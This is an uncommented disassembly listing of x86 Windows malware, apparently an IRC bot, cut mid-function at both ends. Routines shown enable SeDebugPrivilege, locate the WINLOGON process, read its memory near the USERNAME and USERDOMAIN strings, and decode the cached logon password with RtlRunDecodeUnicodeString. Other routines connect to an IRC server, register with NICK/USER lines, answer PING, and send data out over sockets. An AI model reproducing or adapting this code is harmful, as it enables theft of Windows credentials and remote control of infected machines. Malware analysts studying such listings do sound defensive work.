push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417322
add esp, 2Ch
mov [ebp+arg_14], eax
loc_4173CB: ; CODE XREF: sub_417322+53j
; sub_417322+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_42811C ; FindNextFileA
test eax, eax
jnz short loc_41736E
loc_4173DF: ; CODE XREF: sub_417322+4Aj
push [ebp+var_4]
call dword_428110 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C150
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_417465
loc_417416: ; CODE XREF: sub_417322+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset dword_43A5D0
push 200h
push eax
call sub_41C150
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_42811C ; FindNextFileA
test eax, eax
jnz short loc_417416
loc_417465: ; CODE XREF: sub_417322+F2j
push esi
call dword_428110 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417322 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417474 proc near ; DATA XREF: sub_401B66+1BF6o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
rep movsd
xor esi, esi
inc esi
mov [eax+90h], esi
call sub_41B0AF
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_4174B3
cmp eax, 2
jz short loc_4174B3
push offset unk_43A7C8
jmp loc_4175F2
; ---------------------------------------------------------------------------
loc_4174B3: ; CODE XREF: sub_417474+2Ej
; sub_417474+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419E0C
pop ecx
test eax, eax
pop ecx
jz loc_4175ED
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call dword_4280B8 ; LoadLibraryA
mov esi, dword_4280BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D6BA4, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D6B98, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D6DA8, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D6BA0, eax
call esi ; GetProcAddress
mov dword_4D6B9C, eax
call sub_417646
test eax, eax
mov [ebp+arg_0], eax
jz loc_4175C0
mov esi, dword_428140
mov edi, 400h
mov ebx, offset dword_4D5B98
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4D6398
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D6DAC
push [ebp+arg_0]
jnz short loc_41756C
call sub_4177CF
jmp short loc_417571
; ---------------------------------------------------------------------------
loc_41756C: ; CODE XREF: sub_417474+EFj
call sub_417973
loc_417571: ; CODE XREF: sub_417474+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_4175B9
cmp dword_4D6DAC, 0
jnz short loc_4175A0
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_43A690
push 200h
push eax
call sub_41C150
add esp, 18h
jmp short loc_4175D3
; ---------------------------------------------------------------------------
loc_4175A0: ; CODE XREF: sub_417474+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4175B0
call sub_417AA0
jmp short loc_4175B5
; ---------------------------------------------------------------------------
loc_4175B0: ; CODE XREF: sub_417474+133j
call sub_417B37
loc_4175B5: ; CODE XREF: sub_417474+13Aj
pop ecx
push eax
jmp short loc_4175C5
; ---------------------------------------------------------------------------
loc_4175B9: ; CODE XREF: sub_417474+101j
push offset unk_43A654
jmp short loc_4175C5
; ---------------------------------------------------------------------------
loc_4175C0: ; CODE XREF: sub_417474+B6j
push offset unk_43A628
loc_4175C5: ; CODE XREF: sub_417474+143j
; sub_417474+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C056
pop ecx
pop ecx
loc_4175D3: ; CODE XREF: sub_417474+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419E0C
pop ecx
pop ecx
push [ebp+var_8]
call dword_42813C ; FreeLibrary
pop ebx
jmp short loc_417600
; ---------------------------------------------------------------------------
loc_4175ED: ; CODE XREF: sub_417474+4Ej
push offset unk_43A5F4
loc_4175F2: ; CODE XREF: sub_417474+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C056
pop ecx
pop ecx
loc_417600: ; CODE XREF: sub_417474+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417627
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409982
add esp, 14h
loc_417627: ; CODE XREF: sub_417474+191j
lea eax, [ebp+var_29C]
push eax
call sub_4157A5
push [ebp+var_18]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_417474 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417646 proc near ; CODE XREF: sub_417474+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_42814C
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, dword_428148
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D6BA4 ; ZwQuerySystemInformation
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_428144 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D6BA4 ; ZwQuerySystemInformation
test eax, eax
jnz short loc_417733
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417733
xor ecx, ecx
mov ebx, ebp
inc ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417733
loc_4176CF: ; CODE XREF: sub_417646+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417726
push 0
push 0
call dword_4D6B98 ; RtlCreateQueryDebugBuffer
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D6DA8 ; RtlQueryProcessDebugInformation
test eax, eax
jnz short loc_417717
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DDAA
pop ecx
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41774B
loc_417717: ; CODE XREF: sub_417646+AAj
test edi, edi
jz short loc_417722
push edi
call dword_4D6BA0 ; RtlDestroyQueryDebugBuffer
loc_417722: ; CODE XREF: sub_417646+D3j
mov eax, [esp+28h+var_10]
loc_417726: ; CODE XREF: sub_417646+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_4176CF
loc_417733: ; CODE XREF: sub_417646+6Dj
; sub_417646+7Aj ...
xor edi, edi
loc_417735: ; CODE XREF: sub_417646+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_428144 ; RtlFreeHeap
mov eax, edi
loc_417743: ; CODE XREF: sub_417646+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_41774B: ; CODE XREF: sub_417646+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_4177B4
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417761: ; CODE XREF: sub_417646+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DDAA
pop ecx
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4177C8
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DDAA
pop ecx
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4177A6
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4177A6: ; CODE XREF: sub_417646+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417761
loc_4177B4: ; CODE XREF: sub_417646+10Fj
test edi, edi
jz short loc_4177BF
push edi
call dword_4D6BA0 ; RtlDestroyQueryDebugBuffer
loc_4177BF: ; CODE XREF: sub_417646+170j
mov edi, [esp+28h+var_4]
jmp loc_417735
; ---------------------------------------------------------------------------
loc_4177C8: ; CODE XREF: sub_417646+13Cj
xor eax, eax
jmp loc_417743
sub_417646 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177CF proc near ; CODE XREF: sub_417474+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call dword_428084 ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_4177F8
xor eax, eax
jmp loc_417970
; ---------------------------------------------------------------------------
loc_4177F8: ; CODE XREF: sub_4177CF+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call dword_428158 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_42814C
push 8
call esi ; GetProcessHeap
mov edi, dword_428148
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, dword_428154
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417848
xor esi, esi
jmp loc_417963
; ---------------------------------------------------------------------------
loc_417848: ; CODE XREF: sub_4177CF+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call dword_428150 ; VirtualQueryEx
test eax, eax
jz loc_417952
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_417952
test [ebp+var_2B], 1
jnz loc_417952
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_417952
loc_4178AB: ; CODE XREF: sub_4177CF+110j
push edi
push offset dword_4D5B98
call sub_427002
pop ecx
test eax, eax
pop ecx
jnz short loc_4178D3
lea eax, [edi+200h]
push eax
push offset dword_4D6398
call sub_427002
pop ecx
test eax, eax
pop ecx
jz short loc_4178E3
loc_4178D3: ; CODE XREF: sub_4177CF+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jb short loc_4178AB
jmp short loc_417952
; ---------------------------------------------------------------------------
loc_4178E3: ; CODE XREF: sub_4177CF+102j
test edi, edi
jz short loc_417952
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call dword_428118 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_41791E
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call dword_428114 ; FileTimeToSystemTime
test eax, eax
jz short loc_41791E
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41791E: ; CODE XREF: sub_4177CF+12Bj
; sub_4177CF+13Dj
movzx eax, byte ptr [edi+42Dh]
mov dword_4D6DB8, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D6DB0, eax
mov dword_4D6DB4, edi
loc_417952: ; CODE XREF: sub_4177CF+90j
; sub_4177CF+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call dword_428144 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_417963: ; CODE XREF: sub_4177CF+74j
push [ebp+var_4]
call dword_42806C ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_417970: ; CODE XREF: sub_4177CF+24j
pop esi
leave
retn
sub_4177CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417973 proc near ; CODE XREF: sub_417474:loc_41756Cp
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push [ebp+arg_0]
push 0
push 410h
call dword_428084 ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_417992
leave
retn
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: sub_417973+1Bj
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call dword_428158 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417A5A
mov edi, dword_42814C
loc_4179BC: ; CODE XREF: sub_417973+E1j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call dword_428150 ; VirtualQueryEx
test eax, eax
jz short loc_417A48
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_417A4E
test [ebp+var_13], 1
jnz short loc_417A4E
push ecx
push 8
call edi ; GetProcessHeap
push eax
call dword_428148 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call dword_428154 ; ReadProcessMemory
test eax, eax
jz short loc_417A3A
push offset dword_4D5B98
push esi
call sub_427002
pop ecx
test eax, eax
pop ecx
jnz short loc_417A3A
lea eax, [esi+400h]
push offset dword_4D6398
push eax
call sub_427002
pop ecx
test eax, eax
pop ecx
jz short loc_417A6C
loc_417A3A: ; CODE XREF: sub_417973+9Dj
; sub_417973+AEj
push esi
push 0
call edi ; GetProcessHeap
push eax
call dword_428144 ; RtlFreeHeap
jmp short loc_417A4E
; ---------------------------------------------------------------------------
loc_417A48: ; CODE XREF: sub_417973+5Bj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_417A4E: ; CODE XREF: sub_417973+6Fj
; sub_417973+75j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4179BC
loc_417A5A: ; CODE XREF: sub_417973+3Dj
xor esi, esi
loc_417A5C: ; CODE XREF: sub_417973+12Bj
push [ebp+arg_0]
call dword_42806C ; CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417A6C: ; CODE XREF: sub_417973+C5j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D6DB0, ebx
mov dword_4D6DB4, eax
cmp [eax], cl
jnz short loc_417A8E
cmp [eax+1], cl
jz short loc_417A96
loc_417A8E: ; CODE XREF: sub_417973+114j
; sub_417973+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417A8E
loc_417A96: ; CODE XREF: sub_417973+119j
mov eax, [ebp+arg_4]
xor esi, esi
inc esi
mov [eax], ecx
jmp short loc_417A5C
sub_417973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA0 proc near ; CODE XREF: sub_417474+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D6DAC
push esi
mov esi, dword_42814C
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call dword_428148 ; RtlAllocateHeap
mov ecx, dword_4D6DAC
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D6DB4
push eax
call near ptr sub_41CAE0
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D6DB8
push eax
call dword_4D6B9C ; RtlRunDecodeUnicodeString
push [ebp+var_4]
mov edi, offset dword_4D6BA8
push offset dword_4D5B98
push offset dword_4D6398
push [ebp+arg_0]
push offset dword_43A818
push 200h
push edi
call sub_41C150
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call dword_428144 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_417AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B37 proc near ; CODE XREF: sub_417474:loc_4175B0p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D6DAC
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call dword_42814C ; GetProcessHeap
push eax
call dword_428148 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D6398
mov edi, 200h
mov esi, offset dword_4D5998
loc_417B7D: ; CODE XREF: sub_417B37+FAj
mov eax, dword_4D6DAC
add eax, eax
push eax
push dword_4D6DB4
push [ebp+var_14]
call near ptr sub_41CAE0
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D6B9C ; RtlRunDecodeUnicodeString
mov eax, dword_4D6DAC
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417BF2
loc_417BBA: ; CODE XREF: sub_417B37+B3j
cmp [ebp+var_8], 0
jz short loc_417C0F
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417BDE
cmp byte ptr [ecx+1], 0
jnz short loc_417BDE
cmp dl, 20h
jnb short loc_417BD8
and [ebp+var_8], 0
loc_417BD8: ; CODE XREF: sub_417B37+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417BE2
loc_417BDE: ; CODE XREF: sub_417B37+90j
; sub_417B37+96j
and [ebp+var_8], 0
loc_417BE2: ; CODE XREF: sub_417B37+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417BBA
cmp [ebp+var_8], 0
jz short loc_417C0F
loc_417BF2: ; CODE XREF: sub_417B37+81j
push [ebp+var_14]
push offset dword_4D5B98
push ebx
push [ebp+arg_0]
push offset dword_43A818
push edi
push esi
call sub_41C150
add esp, 1Ch
jmp short loc_417C27
; ---------------------------------------------------------------------------
loc_417C0F: ; CODE XREF: sub_417B37+87j
; sub_417B37+B9j
push offset dword_4D5B98
push ebx
push [ebp+arg_0]
push offset dword_43A868
push edi
push esi
call sub_41C150
add esp, 18h
loc_417C27: ; CODE XREF: sub_417B37+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417B7D
push [ebp+var_14]
push 0
call dword_42814C ; GetProcessHeap
push eax
call dword_428144 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417B37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C50 proc near ; CODE XREF: sub_4161D7+33p
; sub_41673A+BCp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CDCE4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417CCC
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CDC64 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CDCA4 ; inet_addr
cmp eax, esi
jnz short loc_417CB1
push [ebp+arg_0]
call dword_4CDCE8 ; gethostbyname
test eax, eax
jz short loc_417CCC
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417CB1: ; CODE XREF: sub_417C50+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CDC0C ; connect
cmp eax, esi
jnz short loc_417CD0
push edi
call dword_4CDCFC ; closesocket
loc_417CCC: ; CODE XREF: sub_417C50+1Bj
; sub_417C50+58j
mov eax, esi
jmp short loc_417CD2
; ---------------------------------------------------------------------------
loc_417CD0: ; CODE XREF: sub_417C50+73j
mov eax, edi
loc_417CD2: ; CODE XREF: sub_417C50+7Ej
pop edi
pop esi
leave
retn
sub_417C50 endp
; =============== S U B R O U T I N E =======================================
sub_417CD6 proc near ; CODE XREF: sub_401B66+325Ap
; sub_401B66+32C3p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42B120 ; "\n"
push edi
call sub_41C690
pop ecx
mov esi, offset dword_4D6DC4
pop ecx
loc_417CEE: ; CODE XREF: sub_417CD6+42j
cmp dword ptr [esi-4], 1
jnz short loc_417D0C
cmp dword ptr [esi], 0
jbe short loc_417D0C
push 0
push edi
call sub_41B7B0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CDCB4 ; send
loc_417D0C: ; CODE XREF: sub_417CD6+1Cj
; sub_417CD6+21j
add esi, 210h
cmp esi, offset dword_4DD4E4
jl short loc_417CEE
pop edi
pop esi
retn
sub_417CD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D1D proc near ; CODE XREF: sub_417E12+14Fp
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42E0C8 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C8C4
xor edi, edi
pop ecx
inc edi
pop ecx
mov [ebp+var_20], eax
xor ebx, ebx
loc_417D41: ; CODE XREF: sub_417D1D+35j
push esi
push ebx
call sub_41C8C4
mov [ebp+edi*4+var_20], eax
inc edi
pop ecx
cmp edi, 8
pop ecx
jl short loc_417D41
cmp [ebp+var_20], ebx
mov esi, [ebp+var_1C]
jnz short loc_417D68
cmp esi, ebx
jnz short loc_417D68
xor eax, eax
inc eax
jmp loc_417E0D
; ---------------------------------------------------------------------------
loc_417D68: ; CODE XREF: sub_417D1D+3Dj
; sub_417D1D+41j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C840
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417D92
lea eax, [ebp+var_220]
push offset dword_43B480
push eax
call sub_41C056
add esp, 0Ch
jmp short loc_417DEC
; ---------------------------------------------------------------------------
loc_417D92: ; CODE XREF: sub_417D1D+5Dj
push offset a433 ; "433"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_417DB3
push esi
push offset dword_43B47C
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_417E0B
loc_417DB3: ; CODE XREF: sub_417D1D+83j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_41BD60
lea eax, [ebp+var_420]
push eax
call sub_41802F
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset dword_43B470
push eax
call sub_41C056
add esp, 1Ch
loc_417DEC: ; CODE XREF: sub_417D1D+73j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
loc_417E0B: ; CODE XREF: sub_417D1D+94j
xor eax, eax
loc_417E0D: ; CODE XREF: sub_417D1D+46j
pop edi
pop esi
pop ebx
leave
retn
sub_417D1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E12 proc near ; DATA XREF: sub_417FB1+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C2F0
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
xor edi, edi
push dword_4D6FCC[esi]
lea eax, dword_4D6DCC[esi]
inc edi
push eax
mov dword_4D6DC0[esi], edi
call sub_417C50
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D6DC4[esi], eax
jb loc_417F91
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BD60
lea eax, [ebp+var_2008]
push eax
call sub_41802F
lea eax, [ebp+var_4008]
push eax
call sub_41802F
lea eax, [ebp+var_3008]
push eax
call sub_41802F
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C056
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D6DC4[esi]
call dword_4CDCB4 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
loc_417EEB: ; CODE XREF: sub_417E12+17Aj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D6DC4[esi]
call dword_4CDC7C ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417F91
xor eax, eax
cmp [ebp+var_8], ebx
jmp short loc_417F87
; ---------------------------------------------------------------------------
loc_417F1F: ; CODE XREF: sub_417E12+178j
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417F46
cmp al, 0Ah
jz short loc_417F46
cmp [ebp+arg_0], 0FA0h
jz short loc_417F46
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417F80
; ---------------------------------------------------------------------------
loc_417F46: ; CODE XREF: sub_417E12+116j
; sub_417E12+11Aj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417F80
push dword_4D6DC4[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417D1D
pop ecx
test eax, eax
pop ecx
ja short loc_417F91
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417F80: ; CODE XREF: sub_417E12+132j
; sub_417E12+139j
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
loc_417F87: ; CODE XREF: sub_417E12+10Bj
mov [ebp+var_4], eax
jnz short loc_417F1F
jmp loc_417EEB
; ---------------------------------------------------------------------------
loc_417F91: ; CODE XREF: sub_417E12+40j
; sub_417E12+104j ...
mov dword_4D6DC0[esi], ebx
mov esi, dword_4D6DC4[esi]
cmp esi, ebx
jbe short loc_417FA8
push esi
call dword_4CDCFC ; closesocket
loc_417FA8: ; CODE XREF: sub_417E12+18Dj
